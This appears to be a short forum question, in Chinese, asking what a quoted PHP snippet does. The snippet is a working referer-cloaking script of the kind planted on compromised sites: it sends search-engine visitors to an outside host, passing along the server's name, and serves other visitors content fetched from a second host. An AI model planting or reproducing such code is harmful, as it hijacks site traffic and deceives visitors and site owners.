Rumah > Artikel > pembangunan bahagian belakang > 请教这段代码是做什么用的
请问这段代码是做什么用的?
<!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ --> <?php error_reporting(0); header("content-Type: text/html; charset=gb2312"); function isSpider($v) { $spiders=array("baidu.com/","google.com","so"); $i=0; foreach ($spiders as $i => $value) { if(stristr($v,$spiders[$i])){return true;} } return false; } if(isSpider($_SERVER['HTTP_REFERER'])) { Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']); exit; } echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php'); ?>